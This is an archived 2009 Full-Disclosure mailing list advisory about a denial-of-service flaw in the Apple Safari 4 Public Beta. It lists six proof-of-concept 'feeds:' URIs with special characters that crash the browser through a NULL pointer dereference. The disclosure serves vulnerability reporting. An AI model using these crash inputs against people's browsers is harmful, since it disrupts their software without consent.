full-disclosure - Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <49A5D63C.4020409@Gmail.com>
Date: Thu, 26 Feb 2009 01:37:32 +0200
From: Trancer <mtrancer@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Apple Safari 4 Beta feeds: URI NULL Pointer
 Dereference Denial of, Service Vulnerability

Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of
Service Vulnerability

Date:    Feb 25 2009
Class:    Input Validation Error
Local:    Yes
Remote:    Yes
Vulnerable Versions:
    * Apple Safari 4 (528.16) Public Beta

Note: MacOS X versions not tested.

Description:
Apple Safari is prone to a denial-of-service vulnerability, caused by a
NULL pointer defernce bug, because it fails to adequately sanitize
user-supplied input within afeeds: URI.
Attackers can exploit this issue to cause denial-of-service conditions
on a users computer and crash the Safari process.

Proof-of-Concept:
feeds:%&www.rec-sec.com/feed/
feeds:{&www.rec-sec.com/feed/
feeds:}&www.rec-sec.com/feed/
feeds:^&www.rec-sec.com/feed/
feeds:`&www.rec-sec.com/feed/
feeds:|&www.rec-sec.com/feed/

Any feeds: URI containing one of these characters will cause a
denial-of-service condition.

Disclosure:
Vendor has been informed.

Solution:
No solution.

Credit:
Trancer
http://www.rec-sec.com

-- 
Trancer
0nly Human.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/